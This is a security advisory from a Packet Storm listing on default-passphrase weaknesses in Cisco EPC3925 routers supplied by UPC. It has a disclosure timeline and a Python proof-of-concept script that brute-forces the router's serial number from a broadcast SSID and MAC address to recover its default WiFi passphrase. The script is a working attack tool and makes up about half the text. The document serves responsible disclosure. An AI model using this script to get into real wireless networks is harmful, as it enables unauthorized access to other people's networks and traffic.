Cisco EPC3925 UPC Modem / Router Default Passphrase

Type packetstorm
Reporter Gergely Eberhardt
Modified 2016-07-21T00:00:00


                                            `Cisco EPC3925 UPC modem/router default passphrase vulnerabilities  
Platforms / Firmware confirmed affected:  
- Cisco EPC3925, ESIP-12-v302r125573-131230c_upc  
Default SSID and passphrase can be calculated  
The default SSID and passphrase are derived from the MAC address and the  
DOCSIS serial number. Since the MAC address of the device is broadcasted  
via WiFi and the typical serial number is within the range 200.000.000  
and 260.000.000, the default password can be brute-forced within minutes.  
- 2015.07.30: We sent some new issues affecting the Ubee router and  
other findings in Technicolor TC7200 and Cisco EPC3925 devices to UPC  
- Between 2015.07.31 and 08.12 there were several e-mail and phone  
communications between technical persons from Liberty Global to clarify  
the findings  
- 2015.08.19: UPC sent out advisory emails to its end users to change  
the default WiFi passphrase  
- 2016.01.27: UPC Magyarorszag send out a repeated warning to its end  
users about the importance of the change of the default passphrases.  
- 2016.02.16: Face to face meeting with Liberty Global security  
personnel in Amsterdam headquarters  
- 2016.02.18: A proposal was sent to Liberty Global suggesting a  
wardriving experiment in Budapest, Hungary to measure the rate of end  
users who are still using the default passphrases.  
POC script is available to demonstrate the default SSID and passphrase  
generation [2].  
Since only the ISP can update the firmware, we can recommend for users  
to change the WiFi passphrase.  
This vulnerability was discovered and researched by Gergely Eberhardt  
from SEARCH-LAB Ltd. (  
# Cisco EPC3925 default passphrase generator POC  
# Search-lab ltd.  
# Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (  
# Usage:  
# Result:  
# default serial, SSID, default PSK  
# More than one result is possible!  
# Example (based on  
# 538420 e4:48:c7:88:7f:58  
# result:  
# 200324188 -> AADENWIB  
# 201461780 -> QFMNTAOQ  
# 204455244 -> KEFWMZIT  
# ...  
# 241989474 -> EJMNNGBY !!!  
# ...  
import sys  
import binascii  
import hashlib  
import struct  
def getVal(v0):  
v0 = ord(v0)  
return ((((v0<<1)+v0)<<3)+v0)>>6  
def genSSID_PSK(mac, serial):  
m = hashlib.md5('%s-%s'%(mac,serial)).digest()  
ssid = '%02u%02u%02u'%(getVal(m[0]), getVal(m[1]), getVal(m[2]))  
psk = ''  
for i in range(8):  
v0 = ord(m[3+i])  
psk += chr(0x41 + (((((v0<<1)+v0)<<2)+v0)>>7))  
return (ssid, psk)  
def genSSID(mac, serial):  
s = '%s-%s'%(mac,serial)  
mres = hashlib.md5(s).digest()  
v0 = ord(mres[0])  
v1 = ((((v0<<1)+v0)<<3)+v0)>>6  
v0 = ord(mres[1])  
v2 = ((((v0<<1)+v0)<<3)+v0)>>6  
v0 = ord(mres[2])  
v3 = ((((v0<<1)+v0)<<3)+v0)>>6  
ssid = '%02u%02u%02u'%(v1, v2, v3)  
psk = ''  
for i in range(8):  
v0 = ord(mres[3+i])  
v3 = ((((v0<<1)+v0)<<2)+v0)>>7  
psk += chr(v3+0x41)  
return (ssid, psk)  
if (len(sys.argv) < 3):  
print 'Usage: SSID MAC'  
print ' Example: xxxxxx bc:c8:10:xx:xx:xx'  
test_ssid = sys.argv[1]  
mac = sys.argv[2]  
start = 200000000  
for i in xrange(60000000):  
serial = '%d'%(i+start)  
(ssid, psk) = genSSID(mac, serial)  
if (ssid == test_ssid):  
print '%s -> %s'%(serial, psk)